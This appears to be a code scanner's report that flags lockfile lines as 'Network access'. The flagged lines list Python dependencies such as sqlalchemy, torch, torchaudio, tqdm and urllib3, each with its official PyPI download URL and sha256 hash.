    sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, 
  • Network accessline 1529
    wheels = [     { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c
  • Network accessline 1530
    { url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 1
  • Network accessline 1534
    name = "sortedcontainers" version = "2.4.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1535
    version = "2.4.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:
  • Network accessline 1536
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1537
    sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", si
  • Network accessline 1538
    wheels = [     { url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b
  • Network accessline 1539
    { url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee
  • Network accessline 1543
    name = "sqlalchemy" version = "2.0.52" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1544
    version = "2.0.52" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1545
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1548
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/3b/21/77b4c147963073040dc3c3a5cb7a8c3001a1893c0209432cb77f9df836aa/sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8
  • Network accessline 1549
    ] sdist = { url = "https://files.pythonhosted.org/packages/3b/21/77b4c147963073040dc3c3a5cb7a8c3001a1893c0209432cb77f9df836aa/sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8d5fd8bd3d46855cd82abee97", size 
  • Network accessline 1550
    sdist = { url = "https://files.pythonhosted.org/packages/3b/21/77b4c147963073040dc3c3a5cb7a8c3001a1893c0209432cb77f9df836aa/sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8d5fd8bd3d46855cd82abee97", size = 
  • Network accessline 1551
    wheels = [     { url = "https://files.pythonhosted.org/packages/7f/18/e30c6fe1eca1bf34a39fbdd6066121cc9974c850faf6f349eac563697a26/sqlalchemy-2.0.52-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2eb3c6a64b1bfe6704777cfd504e7b8ad093a5f3
  • Network accessline 1552
    { url = "https://files.pythonhosted.org/packages/7f/18/e30c6fe1eca1bf34a39fbdd6066121cc9974c850faf6f349eac563697a26/sqlalchemy-2.0.52-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2eb3c6a64b1bfe6704777cfd504e7b8ad093a5f3e03ce67663a5e67
  • Network accessline 1553
    { url = "https://files.pythonhosted.org/packages/d0/56/2e17d161a4f7ecc1c2ffb93e607b4e1898bb551b451b283235acb8f6ce47/sqlalchemy-2.0.52-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:923bb
  • Network accessline 1554
    { url = "https://files.pythonhosted.org/packages/cf/b8/8490916e893f3f8d74dc9cc54c078619364999dee37047a188e73abbc852/sqlalchemy-2.0.52-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:651d6d87
  • Network accessline 1555
    { url = "https://files.pythonhosted.org/packages/8b/f7/752cc8ee453da222829b3f5c4613614bf750d97429363b70414fa10478e4/sqlalchemy-2.0.52-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b08cddb8989775e3c88799d86704bdfc3ee6e9846118201aa59
  • Network accessline 1556
    { url = "https://files.pythonhosted.org/packages/51/e6/074ade0c07b9e4c8e8bca46820320ed94df9702afdb6f2af06623068d2e6/sqlalchemy-2.0.52-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ab66fa9618269390d4dfa222f2f2f88f7bc4bf5da13905131b81
  • Network accessline 1557
    { url = "https://files.pythonhosted.org/packages/66/07/557c0d04716705599227945ac14e0a17ad0338e899f37d8c2ddff4dcc663/sqlalchemy-2.0.52-cp313-cp313-win32.whl", hash = "sha256:c63bda077685c85ca513286547a531ba57e7a68cf0a7ed3bafcc2bbd18896f4d", 
  • Network accessline 1558
    { url = "https://files.pythonhosted.org/packages/96/4e/226eda27654318ce525d043025221f689abef883da2c7126f9065121618c/sqlalchemy-2.0.52-cp313-cp313-win_amd64.whl", hash = "sha256:9876b09b9f1ce7398b0ffece585c0a911244c53191187341f6bcae640e13375
  • Network accessline 1559
    { url = "https://files.pythonhosted.org/packages/b3/3f/3582293d1e185e71d19d7c731c3e2ee20ba21981c4a1115c0806c1f62120/sqlalchemy-2.0.52-py3-none-any.whl", hash = "sha256:3b81b8363a919ce53453591cdb93702e6bd54ade6c4fa2f468fc053baee5ed89", size 
  • Network accessline 1563
    name = "sympy" version = "1.14.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1564
    version = "1.14.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1565
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1567
    { name = "mpmath" }, ] sdist = { url = "https://files.pythonhosted.org/packages/83/d3/803453b36afefb7c2bb238361cd4ae6125a569b4db67cd9e79846ba2d68c/sympy-1.14.0.tar.gz", hash = "sha256:d3d3fe8df1e5a0b42f0e7bdf50541697dbe7d23746e894990c030e2b
  • Network accessline 1568
    ] sdist = { url = "https://files.pythonhosted.org/packages/83/d3/803453b36afefb7c2bb238361cd4ae6125a569b4db67cd9e79846ba2d68c/sympy-1.14.0.tar.gz", hash = "sha256:d3d3fe8df1e5a0b42f0e7bdf50541697dbe7d23746e894990c030e2b05e72517", size = 779
  • Network accessline 1569
    sdist = { url = "https://files.pythonhosted.org/packages/83/d3/803453b36afefb7c2bb238361cd4ae6125a569b4db67cd9e79846ba2d68c/sympy-1.14.0.tar.gz", hash = "sha256:d3d3fe8df1e5a0b42f0e7bdf50541697dbe7d23746e894990c030e2b05e72517", size = 77939
  • Network accessline 1570
    wheels = [     { url = "https://files.pythonhosted.org/packages/a2/09/77d55d46fd61b4a135c444fc97158ef34a095e5681d0a6c10b75bf356191/sympy-1.14.0-py3-none-any.whl", hash = "sha256:e091cc3e99d2141a0ba2847328f5479b05d94a6635cb96148ccb3f34671bd8
  • Network accessline 1571
    { url = "https://files.pythonhosted.org/packages/a2/09/77d55d46fd61b4a135c444fc97158ef34a095e5681d0a6c10b75bf356191/sympy-1.14.0-py3-none-any.whl", hash = "sha256:e091cc3e99d2141a0ba2847328f5479b05d94a6635cb96148ccb3f34671bd8f5", size = 629
  • Network accessline 1575
    name = "threadpoolctl" version = "3.6.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1576
    version = "3.6.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/b7/4d/08c89e34946fce2aec4fbb45c9016efd5f4d7f24af8e5d93296e935631d8/threadpoolctl-3.6.0.tar.gz", hash = "sha256:8ab
  • Network accessline 1577
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1578
    sdist = { url = "https://files.pythonhosted.org/packages/b7/4d/08c89e34946fce2aec4fbb45c9016efd5f4d7f24af8e5d93296e935631d8/threadpoolctl-3.6.0.tar.gz", hash = "sha256:8ab8b4aa3491d812b623328249fab5302a68d2d71745c8a4c719a2fcaba9f44e", size 
  • Network accessline 1579
    wheels = [     { url = "https://files.pythonhosted.org/packages/32/d5/f9a850d79b0851d1d4ef6456097579a9005b31fea68726a4ae5f2d82ddd9/threadpoolctl-3.6.0-py3-none-any.whl", hash = "sha256:43a0b8fd5a2928500110039e43a5eed8480b918967083ea48dc3ab9
  • Network accessline 1580
    { url = "https://files.pythonhosted.org/packages/32/d5/f9a850d79b0851d1d4ef6456097579a9005b31fea68726a4ae5f2d82ddd9/threadpoolctl-3.6.0-py3-none-any.whl", hash = "sha256:43a0b8fd5a2928500110039e43a5eed8480b918967083ea48dc3ab9f13c4a7fb", siz
  • Network accessline 1584
    name = "torch" version = "2.13.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1585
    version = "2.13.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1586
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1602
    ] wheels = [     { url = "https://files.pythonhosted.org/packages/0d/fa/c1c10b7aff4a9a3e8956d4f0a5f468fa6db7abc3208805719076772b4833/torch-2.13.0-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:33449899ce5496c1b84b4853179d94fd102028ae140
  • Network accessline 1603
    wheels = [     { url = "https://files.pythonhosted.org/packages/0d/fa/c1c10b7aff4a9a3e8956d4f0a5f468fa6db7abc3208805719076772b4833/torch-2.13.0-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:33449899ce5496c1b84b4853179d94fd102028ae14073
  • Network accessline 1604
    { url = "https://files.pythonhosted.org/packages/0d/fa/c1c10b7aff4a9a3e8956d4f0a5f468fa6db7abc3208805719076772b4833/torch-2.13.0-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:33449899ce5496c1b84b4853179d94fd102028ae1407314d9fb956bb79e7
  • Network accessline 1605
    { url = "https://files.pythonhosted.org/packages/11/18/9ecb37b56293a0be8d80f810bf672a72fe7e02f8b475d5ef1b9bf8a0d748/torch-2.13.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:1e09d6a722504957c694faceca843acde562786df1144ebcc5a7407
  • Network accessline 1606
    { url = "https://files.pythonhosted.org/packages/d4/5a/7c50ba1b7b713d71d34669c6d13dab0a11531a3eceb0307a5162dbfec0f7/torch-2.13.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:a3a9a21312872af8a26950b2c15680335a386a1f56ed03e780653d78
  • Network accessline 1607
    { url = "https://files.pythonhosted.org/packages/91/3d/e7adcc6aaf36961cd18f56cf8ad0f3058c3a5c84ccf391762176c94581b8/torch-2.13.0-cp313-cp313-win_amd64.whl", hash = "sha256:49b58f1e2c52440abb6f17c28f0335fe6c6d01ad1a7f55b0183b81e4b34d64e6", s
  • Network accessline 1611
    name = "torch-audiomentations" version = "0.12.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1612
    version = "0.12.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1613
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1618
    { name = "torchaudio" }, ] sdist = { url = "https://files.pythonhosted.org/packages/31/8d/2f8fd7e34c75f5ee8de4310c3bd3f22270acd44d1f809e2fe7c12fbf35f8/torch_audiomentations-0.12.0.tar.gz", hash = "sha256:b02d4c5eb86376986a53eb405cca5e34f370
  • Network accessline 1619
    ] sdist = { url = "https://files.pythonhosted.org/packages/31/8d/2f8fd7e34c75f5ee8de4310c3bd3f22270acd44d1f809e2fe7c12fbf35f8/torch_audiomentations-0.12.0.tar.gz", hash = "sha256:b02d4c5eb86376986a53eb405cca5e34f370ea9284411237508e720c529f7
  • Network accessline 1620
    sdist = { url = "https://files.pythonhosted.org/packages/31/8d/2f8fd7e34c75f5ee8de4310c3bd3f22270acd44d1f809e2fe7c12fbf35f8/torch_audiomentations-0.12.0.tar.gz", hash = "sha256:b02d4c5eb86376986a53eb405cca5e34f370ea9284411237508e720c529f788
  • Network accessline 1621
    wheels = [     { url = "https://files.pythonhosted.org/packages/21/9d/1ee04f49c15d2d632f6f7102061d7c07652858e6d91b58a091531034e84f/torch_audiomentations-0.12.0-py3-none-any.whl", hash = "sha256:1b80b91d2016ccf83979622cac8f702072a79b7dcc4c2b
  • Network accessline 1622
    { url = "https://files.pythonhosted.org/packages/21/9d/1ee04f49c15d2d632f6f7102061d7c07652858e6d91b58a091531034e84f/torch_audiomentations-0.12.0-py3-none-any.whl", hash = "sha256:1b80b91d2016ccf83979622cac8f702072a79b7dcc4c2bee40f00b26433a7
  • Network accessline 1626
    name = "torch-pitch-shift" version = "1.2.5" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1627
    version = "1.2.5" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1628
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1633
    { name = "torchaudio" }, ] sdist = { url = "https://files.pythonhosted.org/packages/79/a6/722a832bca75d5079f6731e005b3d0c2eec7c6c6863d030620952d143d57/torch_pitch_shift-1.2.5.tar.gz", hash = "sha256:6e1c7531f08d0f407a4c55e5ff8385a41355c5c5d
  • Network accessline 1634
    ] sdist = { url = "https://files.pythonhosted.org/packages/79/a6/722a832bca75d5079f6731e005b3d0c2eec7c6c6863d030620952d143d57/torch_pitch_shift-1.2.5.tar.gz", hash = "sha256:6e1c7531f08d0f407a4c55e5ff8385a41355c5c5d27ab7fa08632e51defbd0ed",
  • Network accessline 1635
    sdist = { url = "https://files.pythonhosted.org/packages/79/a6/722a832bca75d5079f6731e005b3d0c2eec7c6c6863d030620952d143d57/torch_pitch_shift-1.2.5.tar.gz", hash = "sha256:6e1c7531f08d0f407a4c55e5ff8385a41355c5c5d27ab7fa08632e51defbd0ed", s
  • Network accessline 1636
    wheels = [     { url = "https://files.pythonhosted.org/packages/27/4c/96ac2a09efb56cc3c41fb3ce9b6f4d8c0604499f7481d4a13a7b03e21382/torch_pitch_shift-1.2.5-py3-none-any.whl", hash = "sha256:6f8500cbc13f1c98b11cde1805ce5084f82cdd195c285f34287
  • Network accessline 1637
    { url = "https://files.pythonhosted.org/packages/27/4c/96ac2a09efb56cc3c41fb3ce9b6f4d8c0604499f7481d4a13a7b03e21382/torch_pitch_shift-1.2.5-py3-none-any.whl", hash = "sha256:6f8500cbc13f1c98b11cde1805ce5084f82cdd195c285f34287541f168a7c6a7",
  • Network accessline 1641
    name = "torchaudio" version = "2.11.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1642
    version = "2.11.0" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 1643
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1644
    wheels = [     { url = "https://files.pythonhosted.org/packages/fb/9e/f76fcd9877c8c78f258ee34e0fb8291fdb91e6218d582d9ca66b1e4bd4ae/torchaudio-2.11.0-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:e3f9696a9ef1d49acc452159b052370c636406d0
  • Network accessline 1645
    { url = "https://files.pythonhosted.org/packages/fb/9e/f76fcd9877c8c78f258ee34e0fb8291fdb91e6218d582d9ca66b1e4bd4ae/torchaudio-2.11.0-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:e3f9696a9ef1d49acc452159b052370c636406d072e9d8f10895fda
  • Network accessline 1646
    { url = "https://files.pythonhosted.org/packages/85/70/249c1498ebdad3e7752866635ec0855fc0dcf898beccda5a9d2b9df8e4d0/torchaudio-2.11.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:b034d7672f1c415434f48ef17807f2cce47f29e8795338c751
  • Network accessline 1647
    { url = "https://files.pythonhosted.org/packages/4f/98/be13fe35d9aa5c26381c0e453c828a789d15c007f8f7d08c95341d19974d/torchaudio-2.11.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1c1101c1243ef0e4063ec63298977e2d3655c15cf88d9eb0a1b
  • Network accessline 1648
    { url = "https://files.pythonhosted.org/packages/e2/8b/2bbb3dca6ff28cba0de250874d5ef4fc2822c47a934b59b3974cff3219ef/torchaudio-2.11.0-cp313-cp313-win_amd64.whl", hash = "sha256:986f4df5ed17b003dc52489468601720090e65f964f8bebccf90eb45bba7574
  • Network accessline 1649
    { url = "https://files.pythonhosted.org/packages/fe/ce/52c652d30af7d6e96c8f1735d26131e94708e3f38d852b8fa97958804dd8/torchaudio-2.11.0-cp313-cp313t-macosx_12_0_arm64.whl", hash = "sha256:bda09ea630ae7207384fb0f28c35e4f8c0d82dd6eba020b6b335ad
  • Network accessline 1650
    { url = "https://files.pythonhosted.org/packages/06/95/1ad1507482e7263e556709a3f5f87fecd375a0742cdaf238806c8e72eaad/torchaudio-2.11.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:9fe3083c62e035646483a14e180d33561bdc2eed436c9ab12
  • Network accessline 1651
    { url = "https://files.pythonhosted.org/packages/98/4c/480328ba07487eb9890406720304d0d460dd7a6a64098614f5aa53b662ca/torchaudio-2.11.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:13cff988697ccbad539987599f9dc672f40c417bed67570b36
  • Network accessline 1652
    { url = "https://files.pythonhosted.org/packages/3e/98/5d4790e2d6548768999acd34999d5aeefce8bcc23a07afaa5f03e723f557/torchaudio-2.11.0-cp313-cp313t-win_amd64.whl", hash = "sha256:ed404c4399ad7f172c86a47c1b25293d322d1d58e26b10b0456a86cf67d37d
  • Network accessline 1656
    name = "torchcodec" version = "0.16.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1657
    version = "0.16.0" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 1658
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1659
    wheels = [     { url = "https://files.pythonhosted.org/packages/a0/62/59ef3c1f377a08ca965cf71abd763db5cbf8f6a97901ca09dbe0809c4a29/torchcodec-0.16.0-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:154c5cf6c2dd2801700dcf0939081f614c50dcbf
  • Network accessline 1660
    { url = "https://files.pythonhosted.org/packages/a0/62/59ef3c1f377a08ca965cf71abd763db5cbf8f6a97901ca09dbe0809c4a29/torchcodec-0.16.0-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:154c5cf6c2dd2801700dcf0939081f614c50dcbf99f5ecc7f6854e9
  • Network accessline 1661
    { url = "https://files.pythonhosted.org/packages/b6/83/7844821bd5d0a1d8bee0568d417d2b3f0663f379666edd22348f0f90e427/torchcodec-0.16.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d14e43ace5f9fe095287a5b4a39
  • Network accessline 1662
    { url = "https://files.pythonhosted.org/packages/41/1c/9b12cfd462ff2a7cbad52907de9dd1963bca7aa4bf6a4e2d618195af7275/torchcodec-0.16.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:26f4c4ee2896ddee5b38bf31ae96e
  • Network accessline 1663
    { url = "https://files.pythonhosted.org/packages/38/76/0551e83bb23731806d98469cc8cdc887d55c3a242d7377a52430aa2cd6bf/torchcodec-0.16.0-cp313-cp313-win_amd64.whl", hash = "sha256:158e1ed469a5300aeb843102f8d6c4354f97a835ce5dca087aa827c135bd486
  • Network accessline 1667
    name = "torchmetrics" version = "1.9.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1668
    version = "1.9.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1669
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1674
    { name = "torch" }, ] sdist = { url = "https://files.pythonhosted.org/packages/81/34/39b8b749333db56c0585d7a11fa62a283c087bb1dfc897d69fb8cedbefb1/torchmetrics-1.9.0.tar.gz", hash = "sha256:a488609948600df52d3db4fcdab02e62aab2a85ef34da67037d
  • Network accessline 1675
    ] sdist = { url = "https://files.pythonhosted.org/packages/81/34/39b8b749333db56c0585d7a11fa62a283c087bb1dfc897d69fb8cedbefb1/torchmetrics-1.9.0.tar.gz", hash = "sha256:a488609948600df52d3db4fcdab02e62aab2a85ef34da67037dc3e65b8512faa", size
  • Network accessline 1676
    sdist = { url = "https://files.pythonhosted.org/packages/81/34/39b8b749333db56c0585d7a11fa62a283c087bb1dfc897d69fb8cedbefb1/torchmetrics-1.9.0.tar.gz", hash = "sha256:a488609948600df52d3db4fcdab02e62aab2a85ef34da67037dc3e65b8512faa", size =
  • Network accessline 1677
    wheels = [     { url = "https://files.pythonhosted.org/packages/c3/a2/c7f6ebf546f8f644edf0f999aa98ece106986a77a7b922316bf6414ff825/torchmetrics-1.9.0-py3-none-any.whl", hash = "sha256:bfdcbff3dd1d96b3374bb2496eb39f23c4b28b8a845b6a18c313688e
  • Network accessline 1678
    { url = "https://files.pythonhosted.org/packages/c3/a2/c7f6ebf546f8f644edf0f999aa98ece106986a77a7b922316bf6414ff825/torchmetrics-1.9.0-py3-none-any.whl", hash = "sha256:bfdcbff3dd1d96b3374bb2496eb39f23c4b28b8a845b6a18c313688e0d2d9ca1", size
  • Network accessline 1682
    name = "tqdm" version = "4.70.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1683
    version = "4.70.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1684
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1686
    { name = "colorama", marker = "sys_platform == 'win32'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/21/3b/6c24bec5be5e743ffd99576daa5cc077722fc7d5bbc00bd133fa0c698dc6/tqdm-4.70.0.tar.gz", hash = "sha256:55b0b0dbd97462d06eb
  • Network accessline 1687
    ] sdist = { url = "https://files.pythonhosted.org/packages/21/3b/6c24bec5be5e743ffd99576daa5cc077722fc7d5bbc00bd133fa0c698dc6/tqdm-4.70.0.tar.gz", hash = "sha256:55b0b0dbd97462d06ebee91e4dac24ed4d4702be82b24f07e6c1d27e08cea220", size = 7954
  • Network accessline 1688
    sdist = { url = "https://files.pythonhosted.org/packages/21/3b/6c24bec5be5e743ffd99576daa5cc077722fc7d5bbc00bd133fa0c698dc6/tqdm-4.70.0.tar.gz", hash = "sha256:55b0b0dbd97462d06ebee91e4dac24ed4d4702be82b24f07e6c1d27e08cea220", size = 795438
  • Network accessline 1689
    wheels = [     { url = "https://files.pythonhosted.org/packages/f9/1c/01bfd571a64e7f270e6bab5e33777debe0edc56759233ce84f27dec92d14/tqdm-4.70.0-py3-none-any.whl", hash = "sha256:7f585706bfddbdebf89daac705b2dfcc16890130727d3197ca62c732b431095
  • Network accessline 1690
    { url = "https://files.pythonhosted.org/packages/f9/1c/01bfd571a64e7f270e6bab5e33777debe0edc56759233ce84f27dec92d14/tqdm-4.70.0-py3-none-any.whl", hash = "sha256:7f585706bfddbdebf89daac705b2dfcc16890130727d3197ca62c732b4310953", size = 8018
  • Network accessline 1694
    name = "triton" version = "3.7.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1695
    version = "3.7.1" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 1696
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1697
    wheels = [     { url = "https://files.pythonhosted.org/packages/00/42/c5089d4d9327fcd1e862c599cc2927f39418f84dd11a84cb2ccff9d4787a/triton-3.7.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cdbfc09d9ec58bc5e
  • Network accessline 1698
    { url = "https://files.pythonhosted.org/packages/00/42/c5089d4d9327fcd1e862c599cc2927f39418f84dd11a84cb2ccff9d4787a/triton-3.7.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cdbfc09d9ec58bc5e68321525653220d
  • Network accessline 1699
    { url = "https://files.pythonhosted.org/packages/07/42/2c3ac59253ae8892b6f307875263dd23dc875cdf732d3aea40d6d41fb7cb/triton-3.7.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:58c0e131da05134a2a4788ccbcc0c1105c
  • Network accessline 1703
    name = "typing-extensions" version = "4.16.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1704
    version = "4.16.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha2
  • Network accessline 1705
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1706
    sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5", 
  • Network accessline 1707
    wheels = [     { url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f3
  • Network accessline 1708
    { url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8"
  • Network accessline 1712
    name = "tzdata" version = "2026.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1713
    version = "2026.3" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/92/ff/5a28bdfd8c3ebec42564ac7d0e54ca3db65044a9314a97f9564fa7a1e926/tzdata-2026.3.tar.gz", hash = "sha256:4a1518b8
  • Network accessline 1714
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1715
    sdist = { url = "https://files.pythonhosted.org/packages/92/ff/5a28bdfd8c3ebec42564ac7d0e54ca3db65044a9314a97f9564fa7a1e926/tzdata-2026.3.tar.gz", hash = "sha256:4a1518b8993086a7982523e071643f3c0e5f213e75b21318e78bcabfff9d1415", size = 1986
  • Network accessline 1716
    wheels = [     { url = "https://files.pythonhosted.org/packages/e5/6d/b53b99a9f2766d095985947a5782f1702cabb129a34f7a802d7197af832f/tzdata-2026.3-py2.py3-none-any.whl", hash = "sha256:dc096730c87af6cab1b171c9d532be840741ff5d459015e7f6947bd7d
  • Network accessline 1717
    { url = "https://files.pythonhosted.org/packages/e5/6d/b53b99a9f2766d095985947a5782f1702cabb129a34f7a802d7197af832f/tzdata-2026.3-py2.py3-none-any.whl", hash = "sha256:dc096730c87af6cab1b171c9d532be840741ff5d459015e7f6947bd7d7e54931", size 
  • Network accessline 1721
    name = "urllib3" version = "2.7.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1722
    version = "2.7.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b
  • Network accessline 1723
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1724
    sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 4336
  • Network accessline 1725
    wheels = [     { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276
  • Network accessline 1726
    { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 13
  • Network accessline 1730
    name = "yarl" version = "1.24.5" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1731
    version = "1.24.5" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 1732
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 1736
    { name = "propcache" }, ] sdist = { url = "https://files.pythonhosted.org/packages/31/33/ebe9e3d1f86c7a0b51094c0a146392045ca1631d2664889539dec8088a33/yarl-1.24.5.tar.gz", hash = "sha256:e81b83143bee16329c23db3c1b2d82b29892fcbcb849186d2f6e98
  • Network accessline 1737
    ] sdist = { url = "https://files.pythonhosted.org/packages/31/33/ebe9e3d1f86c7a0b51094c0a146392045ca1631d2664889539dec8088a33/yarl-1.24.5.tar.gz", hash = "sha256:e81b83143bee16329c23db3c1b2d82b29892fcbcb849186d2f6e98a5abe9a57f", size = 2286
  • Network accessline 1738
